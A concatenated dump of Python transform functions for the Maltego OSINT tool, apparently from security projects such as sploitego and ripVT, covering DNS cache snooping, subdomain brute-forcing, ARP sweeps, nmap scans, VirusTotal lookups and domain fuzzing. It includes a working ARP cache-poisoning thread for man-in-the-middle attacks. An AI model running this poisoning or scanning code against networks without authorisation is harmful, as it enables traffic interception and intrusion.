def dotransform(request, response): ip = request.value ans = nslookup("www.google.ca", nameserver=ip) if ans is not None: for site in config['dnscachesnoop/wordlist']: debug('Resolving %s' % site) ans = nslookup(site, nameserver=ip, rd=0) if not ans[DNS].ancount: ans = nslookup('www.%s' % site, nameserver=ip, rd=0) if ans[DNS].ancount: e = DNSName(site) t = Table(['Name', 'Query Class', 'Query Type', 'Data', 'TTL'], 'Cached Answers') for i in range(0, ans[DNS].ancount): rr = ans[DNS].an[i] t.addrow([ rr.rrname.rstrip('.'), rr.sprintf('%rclass%'), rr.sprintf('%type%'), rr.rdata.rstrip('.'), rr.sprintf('%ttl%') ]) e += Label('Cached Answers', t, type='text/html') response += e else: response += UIMessage('DNS server did not respond to initial DNS request.') return response
def dotransform(request, response): """ The dotransform function is our transform's entry point. The request object has the following properties: - value: a string containing the value of the input entity. - fields: a dictionary of entity field names and their respective values of the input entity. - params: any additional command-line arguments to be passed to the transform. TODO: write your data mining logic below. """ apikey = config['misp/apikey'] url = config['misp/url'] # Report transform progress # Send a debugging message to the Maltego UI console #debug('This was pointless!') # Create MyMispEntity entity with value set to 'Hello <request.value>!' complete_url = "%s/events/restSearch/%s/%s/domain&&hostname" % (url, apikey, request.value) #complete_url = "%s/events/restSearch/%s/%s" % (url, apikey, request.value) debug("Accessing %s" % complete_url) try: tree = xml.parse(urllib2.urlopen(complete_url)) except IOError,e: if hasattr(e, 'code'): if e.code == 404: # normal condition return response raise
def dotransform(request, response, config): """ The dotransform function is our transform's entry point. The request object has the following properties: - value: a string containing the value of the input entity. - fields: a dictionary of entity field names and their respective values of the input entity. - params: any additional command-line arguments to be passed to the transform. - entity: the information above is serialized into an Entity object. The entity type is determined by the inputs field in @configure for local transforms. For remote transforms, the entity type is determined by the information in the body of the request. Local transforms suffer from one limitation: if more than one entity type is listed in the inputs field of @configure, the entity type might not be resolvable. Therefore, this should not be referenced in local transforms if there is more than one input entity type defined in @configure. The response object is a container for output entities, UI messages, and exception messages. The config object contains a key-value store of the configuration file. TODO: write your data mining logic below. """ client = get_client(config) prog = 10 progress(prog) debug('Starting RiskIQ blacklist lookup...') url = request.entities[0].value inc = client.get_blacklist_lookup(url) prog += 10 progress(prog) if not inc: progress(100) return response for ent in incident_children(inc): response += ent progress(100) return response
def post_to_cuckoo(raw_data, parameters): parameters.pop("hash", None) if not "." in parameters['file_name']: parameters['file_name'] = parameters['file_name'] + ".exe" multipart_file = {"file": (parameters['file_name'], raw_data)} try: request = requests.post(CUCKOO_URL, files=multipart_file, data=parameters) except Exception as e: debug("ripVT: Couldn't post task to Cuckoo. Internal error: %s" % e) return False if request.status_code == 200: json_decoder = json.JSONDecoder() task_id = json_decoder.decode(request.text)["task_id"] return task_id else: debug("ripVT: Received bad status code from Cuckoo. Returning.") return False
def dotransform(request, response, config): """ The dotransform function is our transform's entry point. The request object has the following properties: - value: a string containing the value of the input entity. - fields: a dictionary of entity field names and their respective values of the input entity. - params: any additional command-line arguments to be passed to the transform. - entity: the information above is serialized into an Entity object. The entity type is determined by the inputs field in @configure for local transforms. For remote transforms, the entity type is determined by the information in the body of the request. Local transforms suffer from one limitation: if more than one entity type is listed in the inputs field of @configure, the entity type might not be resolvable. Therefore, this should not be referenced in local transforms if there is more than one input entity type defined in @configure. The response object is a container for output entities, UI messages, and exception messages. The config object contains a key-value store of the configuration file. TODO: write your data mining logic below. """ progress(10) debug('Extracting DNSName') val = fix_dom(request.entities[0].fields['malriq.hostname'].value) dnse = DNSName(val) dnse.fqdn = val response += [dnse] progress(100) return response
def onterminate(): """ TODO: Write your cleanup logic below or delete the onterminate function and remove it from the __all__ variable """ debug('Caught signal... exiting.') exit(0) # pass
def dotransform(request, response): ip = request.value ans = nslookup("www.google.ca", nameserver=ip) if ans is not None: for site in config['dnscachesnoop/wordlist']: debug('Resolving %s' % site) ans = nslookup(site, nameserver=ip, rd=0) if not ans[DNS].ancount: ans = nslookup('www.%s' % site, nameserver=ip, rd=0) if ans[DNS].ancount: e = DNSName(site) t = Table(['Name', 'Query Class', 'Query Type', 'Data', 'TTL'], 'Cached Answers') for i in range(0, ans[DNS].ancount): rr = ans[DNS].an[i] t.addrow([ rr.rrname.rstrip('.'), rr.sprintf('%rclass%'), rr.sprintf('%type%'), rr.rdata.rstrip('.'), rr.sprintf('%ttl%') ]) e += Label('Cached Answers', t, type='text/html') response += e else: response += UIMessage( 'DNS server did not respond to initial DNS request.') return response
def dotransform(request, response): nameserver = request.value if nslookup_raw('www.google.ca', resolver=nameserver).answer: for site in config['dnscachesnoop/wordlist']: debug('Resolving %s' % site) msg = nslookup_raw(site, resolver=nameserver, recursive=False) if not msg.answer: msg = nslookup_raw('www.%s' % site, resolver=nameserver, recursive=False) if msg.answer: e = DNSName(site) t = Table(['Name', 'Query Class', 'Query Type', 'Data', 'TTL'], 'Cached Answers') for rrset in msg.answer: for rr in rrset: t.addrow([ rrset.name.to_text(), dns.rdataclass.to_text(rr.rdclass), dns.rdatatype.to_text(rr.rdtype), rr.to_text(), rrset.ttl ]) e += Label('Cached Answers from %s' % nameserver, t, type='text/html') response += e else: response += UIMessage( 'DNS server did not respond to initial DNS request.') return response
def dotransform(request, response): debug('VT API key %s\n' % request.value) r = urlopen( "https://www.virustotal.com/vtapi/v2/file/report", urlencode({ "resource": request.value, "apikey": config['virustotal/apikey'] }) ) if r.code == 200: d = loads(r.read()) debug('VT output: %s\n' % d) # If it's not a clean file, tell Maltego the names of the malware if d['response_code'] == 1: for engine in d['scans'].iteritems(): if engine[1]['detected']: e = Phrase(engine[1]['result']) e += Label("VirusTotal Report", d['permalink']) response += e response += UIMessage(d['verbose_msg']) return response
def dotransform(request, response): try: scans = ast.literal_eval(request.fields['certs']) except Exception as e: debug( "ripVT: Couldn't read in value - either not present or other error. %s" % e) return response for cert in scans: name = cert['name'] serial = cert['serial number'] after = cert['valid from'] before = cert['valid to'] r = Certificate(name + "\n" + serial) r.serial = serial r.after = after r.before = before r.subject = name response += r return response
def passivescan(network, response): nodes = {} debug('Sniffing network traffic for more hosts.') ans = sniff(count=config['scapy/sniffcount'], timeout=config['scapy/snifftimeout']) debug('Analyzing traffic.') for i in ans: src = None dst = None if IP in i: src = i[IP].src dst = i[IP].dst elif ARP in i: src = i[ARP].psrc dst = i[ARP].pdst else: continue if src in network and src not in nodes: nodes[src] = True e = IPv4Address(src, internal=True) e += Field('ethernet.hwaddr', i.src, displayname='Hardware Address') response += e if dst in network and dst not in nodes and i.dst != 'ff:ff:ff:ff:ff:ff': nodes[dst] = True e = IPv4Address(dst, internal=True) e += Field('ethernet.hwaddr', i.dst, displayname='Hardware Address') response += e
def findlocalneighbors(network, response): debug('ARP sweeping %s' % network.netblock) # e = Netblock(network.netblock) # e += Label('CIDR Notation', repr(network)) # e += Label('Network Mask', network.netmask) # e += Label('Number of Hosts', int(~network.netmask) - 1) # response += e ans = arping( repr(network), timeout=config['scapy/sr_timeout'], verbose=config['scapy/sr_verbose'] )[0] for i in ans: e = IPv4Address(i[1].psrc) e.internal = True e += Field('ethernet.hwaddr', i[1].hwsrc, displayname='Hardware Address') response += e if len(ans) <= 1: passivescan(network, response) return response
def dotransform(request, response): nameserver = request.value if nslookup_raw("www.google.ca", resolver=nameserver).answer: for site in config["dnscachesnoop/wordlist"]: debug("Resolving %s" % site) msg = nslookup_raw(site, resolver=nameserver, recursive=False) if not msg.answer: msg = nslookup_raw("www.%s" % site, resolver=nameserver, recursive=False) if msg.answer: e = DNSName(site) t = Table(["Name", "Query Class", "Query Type", "Data", "TTL"], "Cached Answers") for rrset in msg.answer: for rr in rrset: t.addrow( [ rrset.name.to_text(), dns.rdataclass.to_text(rr.rdclass), dns.rdatatype.to_text(rr.rdtype), rr.to_text(), rrset.ttl, ] ) e += Label("Cached Answers from %s" % nameserver, t, type="text/html") response += e else: response += UIMessage("DNS server did not respond to initial DNS request.") return response
def vt_domain_report_to_entity(search, t_json): if t_json['response_code'] == 0: debug("ripVT: Domain not found in VT repo.") return False e = VTDomainReport(str(search)) if 'detected_communicating_samples' in t_json: e.detectedsamples = str( t_json['detected_communicating_samples']).encode('utf-8') if 'detected_downloaded_samples' in t_json: e.detecteddownloadedsamples = str( t_json['detected_downloaded_samples']).encode('utf-8') if 'detected_referrer_samples' in t_json: e.detectedreferrersamples = str( t_json['detected_referrer_samples']).encode('utf-8') if 'detected_urls' in t_json: e.detectedurls = str(t_json['detected_urls']).encode('utf-8') if 'resolutions' in t_json: e.resolutions = str(t_json['resolutions']).encode('utf-8') if 'subdomains' in t_json: e.subdomains = str(t_json['subdomains']).encode('utf-8') if 'pcaps' in t_json: e.pcaps = str(t_json['pcaps']).encode('utf-8') if 'undetected_communicating_samples' in t_json: e.undetectedcommunicatingsamples = str( t_json['undetected_communicating_samples']).encode('utf-8') if 'undetected_downloaded_samples' in t_json: e.undetecteddownloadedsamples = str( t_json['undetected_downloaded_samples']).encode('utf-8') if 'undetected_referrer_samples' in t_json: e.undetectedreferrersamples = str( t_json['undetected_referrer_samples']).encode('utf-8') return e
def run(self): debug('ARP cache poisoning thread waiting for victims...') ip = q.get() debug('Acquired first victim... %s' % ip) pe = Ether(src=self.mac, dst=self.rmac) pa = ARP(op='who-has', hwsrc=self.mac, psrc=ip, pdst=ip, hwdst=self.rmac) oldmac = self.whohas(ip) oldip = ip while True: try: ip = q.get_nowait() if oldmac is not None: debug('Healing victim %s/%s' % (oldip, oldmac)) pa.psrc = oldip pa.hwsrc = oldmac sendp(pe / pa, verbose=0) if ip is None: break else: debug('Changing victim to %s...' % ip) pa.psrc = ip pa.hwsrc = self.mac oldip = ip oldmac = self.whohas(ip) except Empty: # Send the poison... all your base are belong to us! debug('Poisoning %s...' % ip) sendp(pe / pa, verbose=0) sleep(1 / self.poison_rate)
def findlocalneighbors(network, response): debug('ARP sweeping %s' % network.netblock) # e = Netblock(network.netblock) # e += Label('CIDR Notation', repr(network)) # e += Label('Network Mask', network.netmask) # e += Label('Number of Hosts', int(~network.netmask) - 1) # response += e ans = arping(repr(network), timeout=config['scapy/sr_timeout'], verbose=config['scapy/sr_verbose'])[0] for i in ans: e = IPv4Address(i[1].psrc) e.internal = True e += Field('ethernet.hwaddr', i[1].hwsrc, displayname='Hardware Address') response += e if len(ans) <= 1: passivescan(network, response) return response
def open_repo_file(name, repo): try: data = open(os.path.join(repo, str(name)), 'rb') return data except Exception as e: debug("ripVT: Couldn't open repo file for reading. %s " % e) return False
def dotransform(request, response): domain = request.value wildcard_ips = set() found_subdomains = {} try: msg = nslookup_raw('%s.%s' % (str(uuid4()), domain)) if msg.answer: wildcard_ips = get_ip_addresses(msg) name = '*.%s' % domain response += DNSName(name) found_subdomains[name] = 1 except dns.exception.Timeout: pass if wildcard_ips: warning = 'Warning: wildcard domain is defined... results may not be accurate' debug(warning) response += UIMessage(warning) ncount = 0 nthreads = config['dnsdiscovery/numthreads'] subdomains = set(config['dnsdiscovery/wordlist']) threads = [] queue_send = Queue() queue_recv = Queue() for i in range(0, nthreads): t = DNSResolver(request.value, queue_send, queue_recv) t.start() threads.append(t) for s in subdomains: queue_send.put(s) for i in range(0, nthreads): queue_send.put(None) while True: msg = queue_recv.get() if not msg: ncount += 1 if ncount == nthreads: break elif msg.answer: ips = get_ip_addresses(msg) if wildcard_ips and wildcard_ips.issuperset(ips): continue for name in get_names(domain, msg): if name in found_subdomains: continue else: found_subdomains[name] = 1 response += DNSName(name) for t in threads: t.join() return response
def dotransform(request, response, config): try: results = search(request.value) except ThreatCentralError as err: results = None response += UIMessage(err.value, type='PartialError') else: try: for result in results: rtype = lower(result.get('type')) if result.get('tcScore'): weight = int(result.get('tcScore')) else: weight = 1 # Title ID Description if rtype == 'actor': # Check Title, if no title get resource > name # Actor entity can have an empty title field if result.get('title'): e = Actor(encode_to_utf8(result.get('title')), weight=weight) else: e = Actor(encode_to_utf8(result.get('resource', dict()).get('name')), weight=weight) e.name = encode_to_utf8(result.get('resource', dict()).get('name')) e.actor = encode_to_utf8(result.get('resource', dict()).get('name')) elif rtype == 'case': e = Case(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'coursesofactions': e = CoursesOfAction(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'indicator': e = Indicator(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'incident': e = Incident(encode_to_utf8(result.get('title')), weight=weight) # elif rtype == 'tacticstechniquesandprocedures': elif rtype == 'ttp': e = TTP(encode_to_utf8(result.get('title')), weight=weight) else: # To be safe e = Phrase(encode_to_utf8(result.get('title')), weight=weight) debug(rtype) e.title = encode_to_utf8(result.get('title')) e.resourceId = result.get('id') if result.get('description'): e += Label('Description', '<br/>'.join(encode_to_utf8(result.get('description', '')).split('\n'))) response += e except AttributeError as err: response += UIMessage('Error: {}'.format(err), type='PartialError') except ThreatCentralError as err: response += UIMessage(err.value, type='PartialError') except TypeError: return response return response
def dotransform(request, response, config): try: results = search(request.value, size=10, pages=1) except ThreatCentralError as err: response += UIMessage(err.value, type='PartialError') else: try: for result in results: rtype = lower(result.get('type')) if result.get('tcScore'): weight = int(result.get('tcScore')) else: weight = 1 # Title ID Description if rtype == 'actor': # Check Title, if no title get resource > name # Actor entity can have an empty title field if result.get('title'): e = Actor(encode_to_utf8(result.get('title')), weight=weight) else: e = Actor(encode_to_utf8(result.get('resource', dict()).get('name')), weight=weight) e.name = encode_to_utf8(result.get('resource', dict()).get('name')) e.actor = encode_to_utf8(result.get('resource', dict()).get('name')) elif rtype == 'case': e = Case(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'coursesofactions': e = CoursesOfAction(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'indicator': e = Indicator(encode_to_utf8(result.get('title')), weight=weight) elif rtype == 'incident': e = Incident(encode_to_utf8(result.get('title')), weight=weight) # elif rtype == 'tacticstechniquesandprocedures': elif rtype == 'ttp': e = TTP(encode_to_utf8(result.get('title')), weight=weight) else: # To be safe e = Phrase(encode_to_utf8(result.get('title')), weight=weight) debug(rtype) e.title = encode_to_utf8(result.get('title')) e.resourceId = result.get('id') if result.get('description'): e += Label('Description', '<br/>'.join(encode_to_utf8(result.get('description', '')).split('\n'))) response += e except AttributeError as err: response += UIMessage('Error: {}'.format(err), type='PartialError') except ThreatCentralError as err: response += UIMessage(err.value, type='PartialError') except TypeError: return response return response
def dotransform(request, response): try: items=ast.literal_eval(request.fields['siblings']) except: return response debug("Not implemented, VT always has this field blank") return response
def dotransform(request, response): download_me=str(request.value) if download_to_repo(download_me): debug("ripVT: Successfully downloaded file to repo.") else: debug("ripVT: Couldn't download file to repo.") return response
def dotransform(request, response): s = getscanner() debug('Starting scan on host: %s' % request.params) args = ['-n', '-A'] + request.params r = s.scan(request.value, *args) if r is not None: addreport(r, response, ' '.join(args + [request.value]), s.cmd) else: response += UIMessage(s.error) return response
def fingerprint(ip): iface = conf.route.route(ip)[0] us = cookie('.sploitego.p0f.%s.sock' % iface) if not os.path.exists(us): log = cookie('.sploitego.p0f.%s.log' % iface) cmd = os.path.join(config['p0f/path'], 'p0f') fpf = os.path.join(config['p0f/path'], 'p0f.fp') p = subprocess.Popen([ cmd, '-d', '-s', us, '-o', log, '-f', fpf, '-i', iface, '-u', 'nobody' ], stdout=subprocess.PIPE) debug(*p.communicate()[0].split('\n')) debug( "!!!!!!!!!!!!!!!!!!!!!!!!!! WARNING !!!!!!!!!!!!!!!!!!!!!!!!!!", "! IF THIS TRANSFORM IS STILL RUNNING THEN SHUT IT DOWN AND !", "! TRY AGAIN! THERE IS A BUG IN MALTEGO THAT DOES NOT !", "! TERMINATE TRANSFORMS IF A TRANSFORM SPAWNS A CHILD !", "! PROCESS. PLEASE BUG [email protected] FOR A FIX. !", "!!!!!!!!!!!!!!!!!!!!!!!!!! WARNING !!!!!!!!!!!!!!!!!!!!!!!!!!", ) if p.returncode: os.remove(us) raise P0fError( 'Could not locate or successfully execute the p0f executable.') return {'status': P0fStatus.NoMatch} r = P0fApiQuery() r.magic = P0fMagic.Query if ':' in ip: r.addr_type = P0fAddr.IPv6 ip = inet_pton(AF_INET6, ip) else: r.addr_type = P0fAddr.IPv4 ip = inet_pton(AF_INET, ip) for i, a in enumerate(ip): r.addr[i] = ord(a) s = socket(AF_UNIX) s.connect(us) s.send(string_at(addressof(r), sizeof(r))) data = c_char_p(s.recv(sizeof(P0fApiResponse))) pr = cast(data, POINTER(P0fApiResponse)).contents s.close() if pr.status == P0fStatus.BadQuery: raise P0fError('P0f could not understand the query.') return dict( (fn, getattr(pr, fn) if isinstance(getattr(pr, fn), Number ) else string_at(getattr(pr, fn))) for fn, ft in pr._fields_)
def fingerprint(ip): iface = conf.route.route(ip)[0] us = cookie('.sploitego.p0f.%s.sock' % iface) if not os.path.exists(us): log = cookie('.sploitego.p0f.%s.log' % iface) cmd = os.path.join(config['p0f/path'], 'p0f') fpf = os.path.join(config['p0f/path'], 'p0f.fp') p = subprocess.Popen( [cmd, '-d', '-s', us, '-o', log, '-f', fpf, '-i', iface, '-u', 'nobody'], stdout=subprocess.PIPE ) debug(*p.communicate()[0].split('\n')) debug( "!!!!!!!!!!!!!!!!!!!!!!!!!! WARNING !!!!!!!!!!!!!!!!!!!!!!!!!!", "! IF THIS TRANSFORM IS STILL RUNNING THEN SHUT IT DOWN AND !", "! TRY AGAIN! THERE IS A BUG IN MALTEGO THAT DOES NOT !", "! TERMINATE TRANSFORMS IF A TRANSFORM SPAWNS A CHILD !", "! PROCESS. PLEASE BUG [email protected] FOR A FIX. !", "!!!!!!!!!!!!!!!!!!!!!!!!!! WARNING !!!!!!!!!!!!!!!!!!!!!!!!!!", ) if p.returncode: os.remove(us) raise P0fError('Could not locate or successfully execute the p0f executable.') return {'status': P0fStatus.NoMatch} r = P0fApiQuery() r.magic = P0fMagic.Query if ':' in ip: r.addr_type = P0fAddr.IPv6 ip = inet_pton(AF_INET6, ip) else: r.addr_type = P0fAddr.IPv4 ip = inet_pton(AF_INET, ip) for i, a in enumerate(ip): r.addr[i] = ord(a) s = socket(AF_UNIX) s.connect(us) s.send(string_at(addressof(r), sizeof(r))) data = c_char_p(s.recv(sizeof(P0fApiResponse))) pr = cast(data, POINTER(P0fApiResponse)).contents s.close() if pr.status == P0fStatus.BadQuery: raise P0fError('P0f could not understand the query.') return dict( ( fn, getattr(pr, fn) if isinstance(getattr(pr, fn), Number) else string_at(getattr(pr, fn)) ) for fn, ft in pr._fields_ )
def dotransform(request, response): target = request.value s = getscanner() debug('Starting scan on host: %s' % target) args = ['-n', '-A', target] + request.params r = s.scan(args, NmapReportParser) if r is not None: addreport(r, response, ' '.join(args), s.cmd) else: response += UIMessage(s.error) return response
def get_file_name(hash_value): DOWNLOAD_DIR = os.path.expanduser(config['repo/path']) if not os.path.exists(DOWNLOAD_DIR): debug("ripVT: Repo dir does not exist.") return False for f in os.listdir(DOWNLOAD_DIR): tmp_f = f.split("-") if str(hash_value) in f: debug(f) return str(f)
def dotransform(request, response): # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug('Maltego Input Entity Value: %s' % request.value) name = request.value debug('name: %s' % name) root = Tkinter.Tk() root.lift() root.withdraw() # TODO Raise exception if no CSV file is selected csvfilename = tkFileDialog.askopenfilename() data = csv.DictReader( open(csvfilename), delimiter=',', fieldnames=('Event Id', 'Event Type', 'Event Title', 'Start Time', 'End Time', 'Precision', 'Count', 'First Published Time', 'Last Published Time', 'Sample Fragment', 'Entities', 'Locations', 'Source Count', 'Positive Sentiment', 'Negative Sentiment')) next(data) for row in data: event = row['Event Type'] + "-" + row['Event Id'] e = RFEvent('%s' % event) e.eid = row['Event Id'] e.etype = row['Event Type'] e.title = row['Event Title'] e.starttime = row['Start Time'] e.stoptime = row['End Time'] e.fragment = row['Sample Fragment'] e.precision = row['Precision'] e.count = row['Count'] e.firstpublished = row['First Published Time'] e.lastpublished = row['Last Published Time'] e.sourcecount = row['Source Count'] e.possentiment = row['Positive Sentiment'] e.negsentiment = row['Negative Sentiment'] # Add entity to response object response += e # Update progress progress(100) # Return response for visualization return response
def dotransform(request, response): if request.fields['behavioral'] != "false": behavior = ast.literal_eval(request.fields['behavior_data']) if behavior.has_key("filesystem"): if behavior['filesystem'].has_key("written"): for t_file in behavior['filesystem']['written']: r = Filename(t_file['path']) r.linklabel = "vt_behave->written" response += r else: debug("ripVT: No behavioral for %s" % request.value) return response
def is_in_repo(hash_value): DOWNLOAD_DIR = os.path.expanduser(config['repo/path']) if not os.path.exists(DOWNLOAD_DIR): debug("ripVT: Repo dir does not exist.") return False for f in os.listdir(DOWNLOAD_DIR): tmp_f = f.split("-") if str(hash_value) in tmp_f: return True return False
def dotransform(request, response): if request.fields['behavioral']!= "false": behavior=ast.literal_eval(request.fields['behavior_data']) if behavior.has_key("mutex"): if behavior['mutex'].has_key('opened'): for mutex in behavior['mutex']['opened']: r=Phrase(mutex['mutex']) r.linklabel="behav->mutex_opened" response+=r else: debug("ripVT: No behavioral for %s" % request.value) return response
def dotransform(request, response): try: exports = ast.literal_eval(request.fields['exports']) for e in exports: a = Export(str(e)) response += a except Exception as e: debug( "ripVT: Couldn't read in value - either not present or other error. %s" % e) return response return response
def get_full_report(hash_val): API_KEY = config['api_key/key'] HASH = str(hash_val) params = {'apikey': API_KEY, 'resource': HASH, 'allinfo': 1} response = requests.get('https://www.virustotal.com/vtapi/v2/file/report', params=params) if response.status_code == 200: return response.text else: debug("ripVT: received bad status code. %s" % response.status_code) return False
def dotransform(request, response): search_param = 'ssdeep:"%s"' % str(urllib.quote_plus(request.value)) debug(search_param) hits = search_vt(search_param) if hits: for hsh in hits: r = Hash(str(hsh)) r.linklabel = "ssdeep->VT" response += r return response
def dotransform(request, response): # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug('Maltego Input Entity Value: %s' % request.value) name = request.value debug('name: %s' % name) root = Tkinter.Tk() root.lift() root.withdraw() # TODO Raise exception if no CSV file is selected csvfilename = tkFileDialog.askopenfilename() data = csv.DictReader(open(csvfilename), delimiter=',',fieldnames=('Event Id','Event Type','Event Title','Start Time','End Time','Precision','Count','First Published Time','Last Published Time','Sample Fragment','Entities','Locations','Source Count','Positive Sentiment','Negative Sentiment')) next(data) for row in data: event = row['Event Type']+"-"+row['Event Id'] e = RFEvent('%s' % event) e.eid = row['Event Id'] e.etype = row['Event Type'] e.title = row['Event Title'] e.starttime = row['Start Time'] e.stoptime = row['End Time'] e.fragment = row['Sample Fragment'] e.precision = row['Precision'] e.count = row['Count'] e.firstpublished = row['First Published Time'] e.lastpublished = row['Last Published Time'] e.sourcecount = row['Source Count'] e.possentiment = row['Positive Sentiment'] e.negsentiment = row['Negative Sentiment'] # Add entity to response object response += e # Update progress progress(100) # Return response for visualization return response
def dotransform(request, response): # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug('Maltego Input Entity Value: %s' % request.value) eid = request.fields['eid'] debug('Maltego Input Entity eid Field: %s' % eid) rfapi = APIUtil() # Limit to the past 6 months. min_pub = date.today() + relativedelta(months=-6) cluster_query = { "cluster": { "document": { "published": { "min": str(min_pub) } }, "attributes": [ { "entity": { "id" : eid }, } ], "limit": 100 } } for eve in rfapi.query(cluster_query).get("events", []): e = RFEvent(eve['type'] + " [id: {0}]".format(eve['id'])); e.eid = eve['id']; e.etype = eve['type']; e.starttime = eve['attributes'].get('start',''); e.stoptime = eve['attributes'].get('stop',''); e.fragment = eve['stats']['top_sources'][0]['fragment'].encode('utf-8'); e.document_link = eve['stats']['top_sources'][0]['document_link'].encode('utf-8'); # Add entity to response object response += e # Update progress progress(100) # Return response for visualization return response
def dotransform(request, response): try: scans=ast.literal_eval(request.fields['sigcheck']) except Exception as e: debug("ripVT: Couldn't read in value - either not present or other error. %s" % e) return response r=peCert(scans['signers']) r.certs=scans['signers details'] r.linklabel="r->Cert" response+=r return response
def dotransform(request, response): try: search_param = 'engines:"%s"' % str(request.value) except: debug("ripVT: Error - value not present in property.") return response hits = search_vt(search_param) if hits: for hsh in hits: r = Hash(str(hsh)) r.linklabel = "engines->VT" response += r return response
def dotransform(request, response): # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug('Maltego Input Entity Value: %s' % request.value) eid = request.fields['eid'] debug('Maltego Input Entity eid Field: %s' % eid) rfapi = APIUtil() # Limit to the past 6 months. min_pub = date.today() + relativedelta(months=-6) cluster_query = { "cluster": { "document": { "published": { "min": str(min_pub) } }, "attributes": [{ "entity": { "id": eid }, }], "limit": 100 } } for eve in rfapi.query(cluster_query).get("events", []): e = RFEvent(eve['type'] + " [id: {0}]".format(eve['id'])) e.eid = eve['id'] e.etype = eve['type'] e.starttime = eve['attributes'].get('start', '') e.stoptime = eve['attributes'].get('stop', '') e.fragment = eve['stats']['top_sources'][0]['fragment'].encode('utf-8') e.document_link = eve['stats']['top_sources'][0][ 'document_link'].encode('utf-8') # Add entity to response object response += e # Update progress progress(100) # Return response for visualization return response
def dotransform(request, response): try: search_param = 'sigcheck:"%s"' % str(request.fields['issuer']) except: debug("ripVT: Error - value not present in property.") return response hits = search_vt(search_param) if hits: for hsh in hits: r = Hash(str(hsh)) r.linklabel = "cert_issuer->VT" response += r return response
def run(self): while True: subdomain = self.queue_recv.get() if not subdomain: break name = '%s.%s' % (subdomain, self.domain) name = re.sub('\.+', '.', name) # debug('Resolving name: %s' % name) try: msg = nslookup_raw(name) if msg.answer: self.queue_send.put(msg) except dns.exception.Timeout: debug('Request timed out for name: %s' % name) pass sleep(1 / self.lookup_rate) self.queue_send.put(None)
def dotransform(request, response): try: scans = ast.literal_eval(request.fields['resources']) except Exception as e: debug( "ripVT: Couldn't read in value - either not present or other error. %s" % e) return response for resource in scans: r = peResource(str(resource)) r.sha256 = resource r.linklabel = "rep->resource" response += r return response
def dotransform(request, response, config): # Send a debugging message to the Maltego UI console debug('Fuzing Domains...') progress(10) # Create MyPhishwatcherEntity entity with value set to 'Hello <request.value>!' domains = fuzz_domain(request.value) progress(50) #Create simple domain entity for each generated domain for d in domains: de = Domain(d) response += de progress(100) # Return response for visualization return response
def dotransform(request, response): debug('VT API key %s\n' % config['virustotal/apikey']) r = urlopen( "https://www.virustotal.com/vtapi/v2/url/report", urlencode({ "resource": request.value, "apikey": config['virustotal/apikey'] }) ) if r.code == 200: d = loads(r.read()) debug('VT output: %s\n' % d) if d['response_code'] == 1: for engine in d['scans'].iteritems(): if engine[1]['detected']: e = Phrase(engine[0]) e += Label("VirusTotal Report", d['permalink']) response += e return response
def dotransform(request, response, config): """ The dotransform function is our transform's entry point. The request object has the following properties: - value: a string containing the value of the input entity. - fields: a dictionary of entity field names and their respective values of the input entity. - params: any additional command-line arguments to be passed to the transform. - entity: the information above is serialized into an Entity object. The entity type is determined by the inputs field in @configure for local transforms. For remote transforms, the entity type is determined by the information in the body of the request. Local transforms suffer from one limitation: if more than one entity type is listed in the inputs field of @configure, the entity type might not be resolvable. Therefore, this should not be referenced in local transforms if there is more than one input entity type defined in @configure. The response object is a container for output entities, UI messages, and exception messages. The config object contains a key-value store of the configuration file. TODO: write your data mining logic below. """ # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug("This was pointless!") # Create MyMaltego_whoismindEntity entity with value set to 'Hello <request.value>!' e = MyMaltego_whoismindEntity("Hello %s!" % request.value) # Setting field values on the entity e.field1 = 2 e.fieldN = "test" # Update progress progress(100) # Add entity to response object response += e # Return response for visualization return response
def dotransform(request, response): # Report transform progress progress(50) # Send a debugging message to the Maltego UI console debug('Maltego Input Entity Value: %s' % request.value) name = request.value debug('name: %s' % name) rfapi = APIUtil() entity_query = { "entity":{"name":name, "type":["Company", "Organization"], "limit":1} } query_response = rfapi.query(entity_query) eid = None for q_eid, q_ent in query_response.get('entity_details', {}).items(): debug("Found eid: {0}".format(q_eid)) name = q_ent['name'] eid = q_eid etype = q_ent['type'] ent = q_ent if not eid: debug("Could not resolve any company/organization named '{0}'".format(name.encode('utf-8'))) exit(1) # Create MyRecordedfutureEntity entity with value set to 'Hello <request.value>!' e = Company('%s' % request.value) e.eid = eid # Update progress progress(100) # Add entity to response object response += e # Return response for visualization return response
def onterminate(): debug('Caught signal... exiting.') exit(0)
def findremoteneighbors(ip, response): debug('Doing an ARIN whois lookup...') w = fromstring(whoisip(ip, accept='application/xml')) network = IPNetwork([ w.find('{http://www.arin.net/whoisrws/core/v1}startAddress').text, w.find('{http://www.arin.net/whoisrws/core/v1}endAddress').text ]) # e = Netblock(network.netblock) # e += Label('CIDR Notation', repr(network)) # e += Label('Network Mask', network.netmask) # e += Label('Number of Hosts', int(~network.netmask) - 1) # response += e if network.cidrlen < 24: debug('According to ARIN, the CIDR length is %d, reducing it to 24 for the scan...' % network.cidrlen) network.netblock = '%s/24' % ip debug('Probing the host on TCP ports 0-1024...') r = sr1( IP(dst=str(ip))/TCP(dport=(0,1024)), timeout=config['scapy/sr_timeout'], verbose=config['scapy/sr_verbose'], retry=config['scapy/sr_retries'] ) if r is not None and r.src == ip: dport = r.sport debug('Performing a traceroute to destination %s' % ip) ans = traceroute2( str(ip), TCP(dport=dport), timeout=config['scapy/sr_timeout'], verbose=config['scapy/sr_verbose'], retry=config['scapy/sr_retries'] ) l_hop = ans[-1] sl_hop = ans[-2] if sl_hop['ttl'] != l_hop['ttl'] - 1: debug( "It takes %d hops to get to %s but we could only find the router at hop %d (%s)." % (l_hop['ttl'], ip, sl_hop['ttl'], sl_hop['ip']) ) debug("Can't find second last hop... aborting...") else: debug('It takes %d hops to get to %s and it is attached to router %s...' % (l_hop['ttl'], ip, sl_hop['ip'])) debug('Sending probe packets to %s with ttl %d...' % (network, sl_hop['ttl'])) ans = sr( IP(dst=repr(network), ttl=sl_hop['ttl'])/TCP(dport=dport), timeout=config['scapy/sr_timeout'], 